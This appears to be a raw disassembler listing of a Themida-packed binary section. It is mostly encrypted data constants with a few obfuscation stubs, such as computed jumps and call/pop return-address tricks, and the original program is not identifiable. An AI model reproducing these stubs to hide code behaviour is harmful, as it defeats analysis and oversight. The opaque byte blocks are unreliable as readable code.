dd 4E8757C7h, 4F5A964Bh, 7AB45674h, 0A2507FE6h, 0B3C009BCh
dd 9AAB1086h, 50C043F0h, 9E0E6EC5h, 5CCC28F7h, 60D03182h
dd 83B15936h, 0FC7D096Eh, 0A9B58A8Ch, 86B3F71Ah, 8AA57610h
dd 0CD00A98Ch, 8BEE7AFAh, 0D261341Bh, 0AE150171h, 1086B36Eh
dd 87C2ED8Ch, 97A85B22h, 0E62B9AC4h, 0F81086BFh, 3E0F0777h
dd 69D9B182h, 61h, 0DD624F3Dh, 2F8C7D6Dh, 2C5B8DC7h, 7549A9FCh
dd 86C58BCEh, 8EA17210h, 0C6DC688h, 88CFEE9Ch, 0EC1086C5h
dd 82E7624Dh, 0A97A851h, 1, 55C5241Eh, 89F15061h, 0B5952CF6h
dd 377F5001h, 6FDF5C55h, 77B45627h, 199581F1h, 6AC72B92h
dd 84F47B07h, 0F892BD92h, 0AF46B63Bh, 2930380h, 0E2624F36h
dd 3066D656h, 4946705Fh, 0A21270A1h, 0DE03C29Ch, 341086F2h
dd 0F21852B5h, 0FCCD7315h, 0AE13200Eh, 0F53E203Eh, 3B140272h
dd 8659478Ah, 75152610h, 0DA4AAAB7h, 0F161C7DCh, 248B02C5h
dd 2B88CABFh, 7B258C8h, 1B8BEFD8h, 62E3D07Ah, 1FCBC4F2h
dd 0F52191F2h, 251181FCh, 31C1ECA3h, 0CA772B24h, 2BDF07C6h
dd 0A83A2D80h, 849397h, 24A70000h, 46B63AC6h, 8E507F50h
dd 91897A49h, 0C4A6620Fh, 6CDC594Ah, 802FB62Ah, 4EBE4172h
dd 9B0B6F9Ch, 5DC525FAh, 38AE833Fh, 68AE81B4h, 0B985F57Bh
dd 4BF920A3h, 97841086h, 9C71A515h, 0F118ABB3h, 7C10864Bh
dd 0F355BFABh, 65B8913Ch, 0CB97A8D5h, 45h, 0F1B0D401h
dd 0C8DAC955h, 0C3BCFA6Ah, 2416FEECh, 7E6056C6h, 4E48B835h
dd 4768D855h, 960666A3h, 4B7227A0h, 0E78EFE7Ch, 7DED4E63h
dd 0C524A58Dh, 0BAE26155h, 0B81086F2h, 2EBB8E41h, 0B697A81Ah
dd 1, 59C924D2h, 83666F5Dh, 0C40A22DEh, 7CBA2A8Fh, 4DBEAC83h
dd 54E062EEh, 4B4B64D4h, 5A595D72h, 42C304ABh, 0F33F62E1h
dd 0D1BE1086h, 3A130373h, 4B5B3A15h, 0E0637BABh, 169BFD44h
dd 0D5CEC8D9h, 200FE656h, 2A2B33A3h, 82F50B54h, 0C3711911h
dd 93EE1B40h, 8D40E916h, 0AC49B93Ah, 9284F477h, 2C122A1h
dd 1693EEDFh, 9B38959Eh, 9CAA05DBh, 0DF9A9CB3h, 43C007B6h
dd 0A6F42D3h, 929DBDD1h, 122h, 0DB0BABA6h, 0F6304003h
dd 0FCCD169Bh, 0FE6ED1E2h, 0E923C7B8h, 0BBDF3223h, 0D4BADC7Eh
dd 93742871h, 0EDC2D316h, 3FAF0CFDh, 0FA6AC956h, 0D444A7BCh
dd 3F6E27E2h, 0DABB2B88h, 0BDA062C7h, 75EA9Dh, 4FBE0000h
dd 0F293B68Dh, 495A1086h, 1A4AF7A1h, 9A191A44h, 0F2478A39h
dd 15261086h, 0C75503Ah, 4D9086F2h, 3D1F87E4h, 0D693AC4Ch
dd 3165052Ah, 76683660h, 79148ACFh, 0CAA0716Fh, 7914B6DBh
dd 5F4EB56Fh, 1C2252EFh, 59E81542h, 796FD28Bh, 0BA9D6D06h
dd 0A04AE6DBh, 7935FC05h, 90AE7FEFh, 1B889CEh, 0BA5C1B53h
dd 799BC60Bh, 0F694A5EFh, 6C1997h, 0ABED0000h, 4003DB0Bh
dd 169C0670h, 0E9FA3C0Dh, 0A47B1A8Ah, 0FDDFD747h, 24C636B4h
dd 93E75779h, 416C1D16h, 0E0B52586h, 0E8F626DAh, 0CF3FBDF6h
dd 0C23A801Bh, 724310B7h, 5CCC2F44h, 5BE7495Ah, 5E2F67D7h
dd 0D12C4571h, 13603561h, 0D3CF9AE3h, 6C53DA56h, 0F8E74E77h
dd 6C72A256h, 9239D3D9h, 5BDFF81Ah, 0EE994AEEh, 4D5E4228h
dd 0BAB84A8h, 4AAE03DBh, 302E30DAh, 0F272972Eh, 0CF91086h
dd 2FB3BABh, 585E3D2Dh, 0E116A2D7h, 4FC90ED0h, 588C5E4Ah
dd 8375181Dh, 96BE3FB4h, 0CA293AF4h, 0C68FBB5Ah
db 84h, 0
word_5E837E dw 9F25h ; DATA XREF: Themida_:00579D60o
dd 0B7741687h, 0D949A834h, 9C45C0F6h, 4F2BA41Dh, 71D2F5E8h
dd 3CBF7401h, 0AF04CACCh, 0E3DCDA4Ah, 416D9CD4h, 7F6B56C8h
dd 18C62E92h, 69F599D0h, 5C575F70h, 66C502ADh, 4FF6E8F6h
dd 33D2840Ah, 2B4A20F1h, 8AEB77F4h, 0C231C1Ah, 8EEF440Ah
dd 1A506C1Eh, 8E000000h, 84ACF550h, 3DC233D2h, 0A84253CDh
dd 0B68D4F74h, 1086F293h, 7BA1495Ah, 5ACA247Fh, 74E4475Ch
dd 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h
dd 52C24330h, 7AEA4F64h, 8957783Ch, 4C781E7h, 83000000h
dd 3C8704EFh, 24248B24h, 4B9668h, 24048900h, 197D68h, 243C8900h
dd 3D53B951h, 0BD550972h, 62BF5AABh, 0F581DDF7h, 0D30CAF57h
dd 415DE909h, 5A0EE981h, 0C8894962h, 4EC8159h, 89000000h
dd 4832424h, 515F0424h, 8151C189h, 7B32242Ch, 478F6058h
dd 8478108h, 60587B32h, 243C8B59h, 81E28952h, 4C2h, 4C28100h
dd 87000000h, 0FF5C2414h, 81582434h, 4C4h, 93E0E900h
db 0F9h, 0FFh, 6Ah
; ---------------------------------------------------------------------------
loc_5E84A3: ; CODE XREF: Themida_:005E7F70j
mov eax, 61BE9E7h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 10265175h, 2121562Eh, 4DBA888Bh, 4B3F57ADh, 2303CEEEh
dd 2D99BAF9h, 4F015CD8h, 1EE0E726h, 64CB27CCh, 7478BCA1h
dd 19B0304Ch, 44A20598h, 53ECAAABh, 7BC84A10h, 3D65B4DDh
dd 3B5E77C7h, 68F1240Ah, 77F82C3Bh, 3315454Fh, 66720FC9h
dd 0EBBF8D8Dh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 91B856C3h, 0F91F092Ah, 661803FFh
dd 0BF66C78Bh, 8D89ACBCh, 6152721h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 0E3C35141h, 4CD85C7h, 711C0615h
dd 852B0000h, 6150061h, 111585C7h, 615h, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 1ED247C3h, 0B1C2E2C1h, 0FFE4F3E0h, 1533A9B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 0B5331A79h, 6150C95h, 1C984ABFh, 0C995FF3Ah, 6A061502h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 0FE02C356h, 2585312Ah, 6A061526h, 2195FF00h
dd 8B06152Eh, 0F94FEBC0h, 0A3E6C2A9h, 77A139F3h, 0A0FC0DDFh
dd 0F74E152Ch, 471274B3h, 1AC5F48Bh, 408C77Bh, 0AC97F48Dh
dd 2ED02C8Dh, 0E854DE78h, 1A3404C1h, 7CF98AF4h, 5E52DD3Dh
dd 6708A0F8h, 0BA8A9792h, 692826ACh, 4C790D0Ah, 0B3AD0ED0h
dd 682132AAh, 14E80E35h, 9A000000h, 0E08815Ch, 0BC1D6995h
dd 505F8249h, 0DB59E1C8h, 0E9C53FB1h, 7, 45D513C8h, 5AFFEF2Fh
dd 2D21BD8Bh, 0C2810615h, 5C4Ch, 5E8h, 65A1D700h, 85890080h
dd 615035Dh, 6859h, 58FC0000h, 8B02348Bh, 1521098Dh, 0DF68106h
dd 66117836h, 8189ACB9h, 30D4DEEh, 0E0F7807Dh, 0CBCBC681h
dd 890F1CC9h, 0Dh, 5E8h, 61A7E00h, 0F88B7AA2h, 2348959h
dd 12E9h, 7159A700h, 0EAE7A9C4h, 3E20835h, 822B580Dh, 0E8F68B79h
dd 0Ah, 0D998094h, 0B1BAC186h, 8D8988C8h, 6150839h, 4E88359h
dd 0F8815B57h, 0FFFFA4A8h, 29850Fh, 10E90000h, 0C1000000h
dd 58328B05h, 7F37F006h, 52800720h, 0E9784BC3h, 23h, 83E112D6h
dd 0BCE889CBh, 8DEFED6Ah, 318F643Dh, 15151D9Dh, 0FF56E906h
dd 2ADAFFFFh, 1567D184h, 0E8577E57h, 0Fh, 0AC40B2F5h, 7FA13104h
dd 0F9B8EE6Ah, 0E9409CB2h, 0Dh, 71975F9Fh, 527555DAh, 4EE7CD66h
dd 0C1815931h, 64C2h, 107D958Bh, 0F62B0615h, 31048BFCh
dd 0C820Fh, 830F0000h, 6, 27258D29h, 0E8810615h, 1F47D56Ah
dd 2FD8D89h, 0F0810615h, 75CA0433h, 0ABF081F8h, 8B4CD959h
dd 310489F8h, 6820Fh, 958B0000h, 6152E75h, 81D2B70Fh, 7B1297EEh
dd 65958B5Ah, 81061534h, 7B1293C6h, 5D85895Ah, 8106150Ch
dd 0FF9C04FEh, 1D850FFFh, 89000000h, 15028595h, 28E906h
dd 6DB00000h, 0BDCEBA1Ch, 96FC7B39h, 2EE9B2D4h, 23E64277h
dd 76E9F2B2h, 28FFFFFFh, 549ED13Dh, 42809728h, 4572A9C9h
dd 8D8D51C6h, 61BEE7Ch, 2CDAEDB8h, 218D893Fh, 6A061527h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 5CADC356h, 169D952Bh, 85C70615h, 61504CDh
dd 682Ch, 0BE9h, 36E26D00h, 9975820Fh, 0BDEFDD68h, 111585C7h
dd 615h, 0B5030000h, 6152479h, 2E0DB5FFh, 6A0615h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 514DE3C3h, 0B8F18BDCh, 55AFBA1Dh, 2C995FFh, 0F7810615h
dd 3076761Fh, 95FF006Ah, 6152E21h, 7CEBC08Bh, 42B8D16Fh
dd 0A48E8B51h, 0A045BC39h, 8AA2361Fh, 10EB21C7h, 233B6E9Dh
dd 25AC0F00h, 7DFA9DC4h, 12547894h, 67E79C67h, 2F6977DBh
dd 973316C3h, 786617E5h, 0B755EC26h, 0B8CA91Bh, 0D2A15AAAh
dd 149AA7A8h, 2D54B91Dh, 6880BD1Fh, 930519AAh, 476E1196h
dd 1DEDC057h, 2EDE7298h, 2DFBB2DEh, 0A463D86Ch, 0A09286BCh
dd 7D1BEBE2h, 17FD050Bh, 0DCFBA3EEh, 0E680DBC2h, 75F47B71h
dd 0EF898D8Dh, 0BE66061Bh, 8D89F3AEh, 6152721h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0EEC35141h, 85C76128h
dd 61504CDh, 74B4h, 3AD28166h, 61B5890Eh, 0C7061525h, 15111585h
dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 370BB745h, 0FFF8F7B0h, 152921B5h
dd 0F5858906h, 0FF06152Eh, 1502C995h, 74BA6606h, 0FF006A0Ch
dd 152E2195h, 0EBC08B06h, 0C494F94Dh, 22A780A2h, 54680A82h
dd 5E153C82h, 476B64D9h, 164BE1CAh, 0DFACD4Bh, 71FFB7E9h
dd 0CD6F04B2h, 36693C56h, 88C9A304h, 7F3FCB19h, 0BB1B1978h
dd 21556E8Fh, 0BA6E5AA9h, 594F4BC8h, 2FAB4549h, 23EA0DB5h
dd 673BA2E1h, 8D8DC7EFh, 61BF0FCh, 2B459589h, 8D890615h
dd 6152721h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 0A6C35646h, 10A70EEAh, 8160BD99h, 0F82FAFEEh, 659D8907h
dd 61061511h, 4CD85C7h, 5E300615h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 487704C3h
dd 0CA72ACFh, 55B2763Fh, 19C9B58Bh, 85C70615h, 6151115h
dd 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5E8A97
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E8A97 proc near ; CODE XREF: Themida_:005E8A8Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5E8A97 endp
; ---------------------------------------------------------------------------
db 0E0h
dd 0F7EA1979h, 8B01C12Fh, 15065995h, 78A0F06h, 52000000h
dd 1A15F4B8h, 0B5FF5829h, 6152E0Dh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 0D4C35747h, 6095FFFBh, 0C995FFE4h
dd 6A061502h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 77FDC350h, 4E005C4Bh, 0FE9h, 0D466CB00h
dd 16E0EE02h, 0A1DE0F42h, 0C56EFF2Eh, 95FF006Ah, 6152E21h
dd 7CEBC08Bh, 46F8532h, 4557F24Ah, 0C62586A9h, 0C4E7F331h
dd 65A665D7h, 60B981CFh, 66A6C458h, 26919CD9h, 9A6FBB3Bh
dd 6614F5CCh, 0D5470CEFh, 54019261h, 3EE50CF5h, 0EE0B307Dh
dd 0E4672A0Fh, 9220841Bh, 0CECD578Ah, 0AD5DF18Eh, 9A42E3C0h
dd 69AA961h, 66B2AB22h, 95F45BADh, 22265617h, 0E2D0700Bh
dd 0D7DFDFBh, 5748EFA2h, 85E7DA3Bh, 95CA4382h, 243FCA0Dh
dd 0C5EC7629h, 79B36AC2h, 0BE8h, 106D5C00h, 0F7903C0Fh
dd 113451D5h, 24858589h, 15F0615h, 15054D9Dh, 2C78106h
dd 6600005Fh, 0BB0369BAh, 0
dd 0FE8h, 29646700h, 79440BB6h, 0CEAA37B5h, 92CD73ADh
dd 5E9h, 0FE2A5400h, 0FF5A4E82h, 0F513B34h, 685h, 8F0F00h
dd 59000000h, 1F870F58h, 0E8000000h, 13h, 673CD488h, 2D7DDD96h
dd 0FC2A62AEh, 6AF8B8B7h, 89B68491h, 15193595h, 0C0815906h
dd 6FDC0E72h, 2CF9BD29h, 0E8810615h, 6CAC82CDh, 811EE680h
dd 1F3BBBC0h, 0D38B664Eh, 0E1816650h, 48F0FA0h, 7E91Fh
dd 0D2960000h, 0CF0227F7h, 0EB83F564h, 0AE804h, 736E0000h
dd 3B5FD3C4h, 9BDEE982h, 1175B529h, 815A0615h, 0FFA200FBh
dd 1A850FFFh, 89000000h, 1512D585h, 25E906h, 5FB0000h
dd 58555F6Dh, 0CD2A3DA3h, 8329CB63h, 0A0A3B953h, 4CE95A8Eh
dd 7EFFFFFFh, 0F0522747h, 382C95A3h, 0E8110AA5h, 0Ch, 0CE4CCFFAh
dd 0E83E56BFh, 12F9581Bh, 8820F58h, 0F000000h, 28Bh, 81616000h
dd 6246C0h, 0D6BF0F00h, 186C68h, 0C3816600h, 15F89D6h
dd 1502A5BDh, 3130FF06h, 151CB18Dh, 0F08B5906h, 346AC181h
dd 0B70F550Fh, 0F6E981D2h, 8B7AD5C1h, 1523959Dh, 7DF18106h
dd 0B21C0726h, 9D8B5181h, 6150AC1h, 9D0B008Fh, 6152351h
dd 0F04E883h, 684h, 71B50300h, 83061519h, 850F01EFh, 0FFFFFFB1h
dd 6840F60h, 81000000h, 4E0DEF6h, 8B66607Eh, 0DE8B66C3h
dd 8D8D6161h, 61BF415h, 16C58589h, 8D890615h, 6152721h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 36C35343h
dd 30D8131Dh, 55BEE1DCh, 0F36A5B0h, 1582h, 10E900h, 504B0000h
dd 0C4BC784h, 0E13D7863h, 73436134h, 85C7630Bh, 61504CDh
dd 58D8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 7AC35646h, 0DB287848h, 1585C7D6h, 61511h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 115DC355h, 0A4F320EBh, 2890F52h, 60000000h
dd 0B5FF5A61h, 61533A9h, 0FFD3BF0Fh, 1502C995h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 9E786E88h, 0CA4149BDh, 0FF006A5Bh, 152E2195h, 0EBC08B06h
dd 6F6A364Fh, 711C1213h, 8D769851h, 71BA815Eh, 0C211A2E7h
dd 14E0BC3Eh, 0C44F0063h, 38E924FFh, 0B2E0EAF8h, 486B771Dh
dd 1FA41463h, 0BAD566AAh, 0D6BF4E6Dh, 48B20D0Dh, 0F0ABB8A0h
dd 5EBA8C62h, 1A553150h, 8F768AABh, 61BBE5F3h, 0C2C81B78h
dd 0CE8h, 97871F00h, 248B9729h, 0A2782235h, 0CE92Ch, 766A0000h
dd 729E47AFh, 4AED4794h, 8B5B4541h, 1528E18Dh, 0ACC38106h
dd 0E9000065h, 6, 301D95DAh, 2E68036Bh, 8A000019h, 0F605AE7h
dd 381h, 5BE28000h, 0F3B8B61h, 384h, 0F38B6600h, 7BA7C781h
dd 8D894528h, 6151DC1h, 0E32DF781h, 8B661E7Eh, 60F781CEh
dd 8B1617C0h, 1525E585h, 8D8B5706h, 6150A6Dh, 0F080038Fh
dd 0F2EB81CCh, 0E81E1C19h, 12h, 0BFAC290Ah, 6C360164h
dd 0AA260EBBh, 64F81297h, 81661398h, 5EDEA1CEh, 19EEC381h
dd 9E91E1Ch, 0FC000000h, 0AD2BE909h, 2576E00Eh, 1EA81h
dd 850F0000h, 1Fh, 2E1D8D89h, 2AE90615h, 3B000000h, 370A1B02h
dd 63D14819h, 0B69423EFh, 9A1317C8h, 8B80BFA8h, 15111985h
dd 0FF5BE906h, 8DDDFFFFh, 1FFB3433h, 0EC0373BBh, 8E820h
dd 0EB480000h, 0CFB3A0C9h, 0FB8B1FEFh, 3FD38058h, 5BF5C081h
dd 9D8B0000h, 615254Dh, 810FD233h, 5, 0E1B83FB9h, 234FF4Dh
dd 5EFEBF0Fh, 12ADBD8Bh, 0C6810615h, 2167BA2Ch, 2D1D8D8Bh
dd 0F6810615h, 2FDE97AAh, 0F681CE8Bh, 4CC6A255h, 89C88B66h
dd 81601034h, 2B48B6F1h, 0A595892Dh, 61061506h, 0D0D18166h
dd 4EA835Ch, 16D5BD89h, 0FA810615h, 0FFFFA4B4h, 1A850Fh
dd 0E9FC0000h, 2Bh, 0B50FFF15h, 7723C0EDh, 9D9C85A1h, 0AF356B82h
dd 0FDB3AE4Ch, 24CDBD8Bh, 86E90615h, 0FDFFFFFFh, 22AC3641h
dd 0B1337849h, 826962E7h, 889A075h, 0DC781469h, 6BDB8DA6h
dd 2E863630h, 908635A1h, 4813D925h, 99053025h, 14933040h
dd 81023F25h, 7863025h, 57A69998h, 0A5893023h, 9086305Eh
dd 4143B5E3h, 4CC83630h, 5AD4CF0Dh, 11A234A4h, 7BD9DFFDh
dd 57865590h, 9D03BD23h, 6F802857h, 8E76BBF5h, 318FF5A0h
dd 166E7E23h, 49863025h, 0D42E72F2h, 46A274AEh, 650F30AEh
dd 6FDE3401h, 5DA69990h, 9803BD23h, 0ED802857h, 0B07EBBF5h
dd 84863035h, 428638CCh, 0A4899625h, 9086302Bh, 474F3B6Ch
dd 0DB79C0A0h, 128BD9DAh, 940B3025h, 82937FBBh, 4286359Dh
dd 0AC65CF25h, 8B702898h, 960BBD23h, 9C802BD3h, 94B61537h
dd 8247FF0Eh, 889A075h, 0DC781469h, 6BDB8DA6h, 2E863630h
dd 908635A1h, 4813D925h, 99053025h, 5E98340h, 22B9A4F3h
dd 0E8000000h, 8, 0FC20CE27h, 0F04D2C5h, 8B525EF8h, 150C758Dh
dd 0C6815906h, 5F6Ah, 86013EB9h, 0FA6AB83Ch, 0C0817FCFh
dd 80301D46h, 8C0CE781h, 36FF53D0h, 9E85Bh, 224A0000h
dd 504AB207h, 8B43A1CDh, 151C8D95h, 0EB815906h, 11F38843h
dd 4C6EEB81h, 8B500B84h, 0EB8159CBh, 4E874281h, 2D698D8Bh
dd 89530615h, 1507A58Dh, 0E8068F06h, 5, 0FDBB11CDh, 0F58D8BBDh
dd 59061516h, 0F363EE81h, 0DE95DC5h, 0F5000000h, 0CB5798E8h
dd 905E7ACDh, 92983D99h, 0F35FC681h, 1CB25DC5h, 1E881h
dd 850F0000h, 0FFFFFF86h, 0A583D781h, 9E940EDh, 14000000h
dd 4CBCE4h, 0
; ---------------------------------------------------------------------------
jmp loc_5E99DF
; ---------------------------------------------------------------------------
db 0EEh, 90h, 20h
dd 0EB5BDE55h, 2898150Ah, 0E252D64Dh, 2E9E1C13h, 685B5047h
dd 24FB9A0Ah, 6DC253C3h, 29F69F0Fh, 8BB5ACAh, 55A7F46h
dd 6021169Dh, 0F296B6DCh, 69CA1086h, 0EA8E1CF9h, 6121A4BAh
dd 0FC169C21h, 9A1E132Bh, 7713EC2Ah, 0D646A4BDh, 3293F03Fh
dd 93C24E93h, 331C2D16h, 34A4062Bh, 2494F102h, 58321DF2h
dd 0F666C5DEh, 3CBDF6E8h, 0C23059CCh, 0EABB1693h, 0DDD949A9h
dd 6D0C0AE0h, 3ABEF3E9h, 0C2365BCAh, 0E4B51693h, 0A3248B06h
dd 0A6169420h, 0E5B09F70h, 0BD4A6DD0h, 42F39Dh, 24C70000h
dd 2B8856C6h, 6D6254C4h, 0B951C126h, 9404667Bh, 0FFAEE7A2h
dd 1BFA6AC8h, 0A81E2386h, 1EA997h, 247D0000h, 0E56056C6h
dd 1086F2B9h, 4C7B62CFh, 19977EEEh, 2Dh, 30A0220Fh, 0B9610906h
dd 6056C624h, 86F2BEE5h, 0DF4FB010h, 0F767CAD7h, 2366DDBFh
dd 0CA1086F2h, 6D60C7F9h, 7568D176h, 0F580F052h, 0DB0BAB47h
dd 0EBFCD903h, 1695BA70h, 4E93320Ch, 2D1086DCh, 0F74F6E1Ch
dd 86169C0Fh, 157081B5h, 0E263D0A5h, 2B64472h, 9DCB0CD2h
dd 0CCE52C65h, 20ADF44Fh, 7F501693h, 0BAA4BA50h, 8F87F779h
dd 86F675BEh, 20C5B9E4h, 0B788108Eh, 0AA15847Fh, 2889EB48h
dd 0AC20749Dh, 926F71Ch, 0D95A300Dh, 1A09EC5Ch, 88EB2B9Bh
dd 1CAC2031h, 0DED848AFh, 0C4F262C5h, 0C91AC52Ch, 4A7D30D7h
dd 8E9A7BEBh, 73E3624Fh, 32622197h, 2443270Ah, 866557C7h
dd 2673A6A2h, 2EB968A8h, 0CD000000h, 0BCE010ABh, 0E0A864Fh
dd 2B1794ABh, 346FD3Fh, 0EA1086C1h, 8D4FE3D9h, 45EDA848h
dd 0AE06C45h, 59C92412h, 0B5725663h, 41h, 0E3624FD1h, 4A65D557h
dd 2197734Ch, 22921662h, 97181BF4h, 4F140827h, 86F2ADF4h
dd 0EDF1DE10h, 55D763C4h, 0F3DCB1E5h, 0FC20CAC3h, 0C4248D4Fh
dd 96BB8A54h, 551086F2h, 246EA644h, 566359C9h, 57C72472h
dd 732FE45Fh, 179E108Bh, 2C9C1FA8h, 4DAC0549h, 0E2D444C1h
dd 0EB28C2EDh, 121F1787h, 0B35640B0h, 76F4D3FAh, 0C6EB6F06h
dd 9716F464h, 97AC9B12h, 329Ah, 8D4F6E00h, 86F293B6h, 0FF6FCD10h
dd 2D5AC6B7h, 625B5BCBh, 0F6C9D4Dh, 6D11979Fh, 0B110213Dh
dd 3093A941h, 169C0920h, 0D64A4C5Dh, 467604Fh, 4F3B0194h
dd 4571E162h, 1271A248h, 37BB9CA2h, 0C8DE76B5h, 331913F7h
dd 0D0979FEh, 0A0605A30h, 4669D954h, 46B63B78h, 0F3392A4h
dd 2E169CE7h, 0E470992Ch, 2AFB1690h, 40C37005h, 595FE6D0h
dd 0D092EF4Ah, 0D242A50Eh, 0A44E8138h, 0CFBB2B8Fh, 0A471E162h
dd 0F821A4BAh, 839A0E72h, 0F019ACB2h, 7B9A0E72h, 0F053C0AAh
dd 0D3F6CD8Fh, 9A9A0E72h, 72F51C89h, 8B789A0Eh, 8D82B424h
dd 1F898DA2h, 0B40F2F5Fh, 9C1373ACh, 735C0D1h, 54EF10ABh
dd 1086F20Dh, 0CCF0DFF0h, 6DDD624Fh, 0B9E06329h, 441086F2h
dd 80AE5C73h, 57C7247Ch, 0A6A28665h, 68A82673h, 173A09D3h
dd 0D61386F2h, 41F525C5h, 11000000h, 0BCE010ABh, 0F2ADF44Fh
dd 7F501086h, 6B7C765Fh, 0B60B2F5Dh, 624F60D4h, 4A4373E3h
dd 249E9EA0h, 4F6359C9h, 6B1A4A86h, 12F879A9h, 47AA0753h
dd 0A5EEDFD7h, 0E1DED848h, 2EB51109h, 0D1000000h, 0BCE010ABh
dd 0F2ADF44Fh, 0D5DE1086h, 0F363C652h, 0D2E5CAC3h, 1F0CFDEDh
dd 9389A698h, 864F6B4Fh, 3F8DB82Ch, 0E724C63Dh, 56261686h
dd 0E1624F72h, 1B989971h, 90A16BABh, 7A29C131h, 108B73C5h
dd 5C2ED74h, 0D05F36A6h, 1F140272h, 4CEB2B9Bh, 0ED4D7A65h
dd 0A00D987Dh, 2897AC9Bh, 3Eh, 57C72404h, 0F525D95Fh, 65E5AE9h
dd 0CEDF169Ch, 0CE3EC3F0h, 8001F21Ch, 0AF0D2610h, 5940F73Fh
dd 0D1B37D66h, 0E611380Bh, 3A731693h, 45ECA17Fh, 0B081987h
dd 5B5634A4h, 80F05374h, 0C72447F5h, 25D95F57h, 4E5AE9F5h
dd 0CF169C09h, 0FE3317FEh, 0BB5F0B7Bh, 0DEE010ABh, 4E475FF9h
dd 9377F66Eh, 248D4F9Fh, 0A5EC59C9h, 481086F2h, 50C03C77h
dd 93816966h, 9A0A68C9h, 53C7A39Ch, 0DF66C724h, 1086F2BAh
dd 5D5F7041h, 73A6A286h, 0B968A826h, 2Ah, 0E010ABCDh, 0DE624FBCh
dd 0BBA7C6Eh, 1086F2C6h, 4FA894A5h, 59C9246Bh, 0B5725663h
dd 4Ah, 6A1FE2F3h, 3F8DA69Eh, 624FE74Bh, 0ACE778E0h, 0E3754AC6h
dd 15F5CACCh, 8CB0E09Bh, 0F2ADF44Fh, 0C5EE1086h, 0CEBFF767h
dd 242D0A1Ch, 0F889873Ah, 4F0D0F20h, 53C3248Dh, 9575E560h
dd 61C9249Dh, 788D296Eh, 0F02C0364h, 624F7256h, 0EA6479E1h
dd 0EFCFB847h, 0DEF9D6C0h, 918FAB1Eh, 0D1422833h, 0F73C0272h
dd 3D120474h, 0AF64DF4Dh, 1E108B0Eh, 1C9F2897h, 0D95AC9ACh
dd 3C7AEA4Dh, 0C02A6C43h, 0D00ED000h, 0C12370Eh, 0C8D91082h
dd 0DB838322h, 0C9D21698h, 0EABC1711h, 791C3331h, 0E010ABB3h
dd 244327BCh, 866557C7h, 2673A6A2h, 3DB968A8h, 0CD000000h
dd 0BCE010ABh, 0F2ADF44Fh, 7F501086h, 246B4F3Dh, 4BBB3DC9h
dd 5F5D724Bh, 8D4F7256h, 86F293B6h, 0A1495A10h, 3501h
dd 9E253700h, 1086F27Bh, 0F2FC25A0h, 0AE7F1086h, 0D14921F2h
dd 0DEE010ABh, 4E656D5h, 0ADF44F10h, 0DE1086F2h, 6B4FCBF1h
dd 6DDD624Fh, 0B852C226h, 928AFA7Bh, 0C7247256h, 0FA4E8757h
dd 1282E709h, 970C2B24h, 87AC361Bh, 0B46D290Dh, 0BE45EF9Bh
dd 108B2B09h, 4500DEC0h, 1082281Ch, 751CCEDFh, 8EFE7D4Ah
dd 4BBB38E7h, 0E85B814Bh, 108228A1h, 298F7B4Ch, 0AA192555h
dd 169F22E6h, 0AA1A9A87h, 0D9BC936Ch, 50C03C75h, 99816966h
dd 0BCE010ABh, 0C7244327h, 0A2866557h, 0A82673A6h, 2FB968h
dd 0E6EF0000h, 5CE67AC7h, 7DB55528h, 0BCE010ABh, 0F44F8D4Fh
dd 1086F2ADh, 308B7F50h, 1086F2E9h, 4F998394h, 59C9246Bh
dd 0B5725663h, 37h, 0E010ABD1h, 0E2624FBCh, 66506572h
dd 9C900553h, 0B4DD68EEh, 0D510866Fh, 0D8EAB100h, 0D2ABEB5Bh
dd 5A364305h, 8BB19EB0h, 6DDD624Fh, 0A0B65429h, 59C9249Ch
dd 24725663h, 0D95F57C7h, 0ECE9F525h, 9D333892h, 56349Ah
dd 9C82B145h, 0D1574416h, 916F5661h, 0DCEB458Eh, 0FB3822F3h
dd 2C660474h, 0C3825C8Ch, 10B73B46h, 69B01315h, 871CB738h
dd 3A0BB525h, 0CFF991Dh, 0AA851AF8h, 84F4776Ch, 89F979BAh
dd 1E9D92E1h, 0F66F57B6h, 0A7888631h, 2DD0146Fh, 0E95571Fh
dd 0BB82539Fh, 0DCBF02E1h, 0CF3FBDF6h, 1714F6C7h, 0E2512494h
dd 0ACC5F161h, 0DBDADC4Ch, 0E744832Ah, 77BC9E77h, 0BA9383F3h
dd 70E063D0h, 1CBE46h, 0E2FC0000h, 5E1B3E63h, 0FEECBD46h
dd 446D2F16h, 4F3D79E9h, 86F2ADF4h, 507F5010h, 0CA2482BAh
dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h
dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 52783C7Ah, 0C281E289h
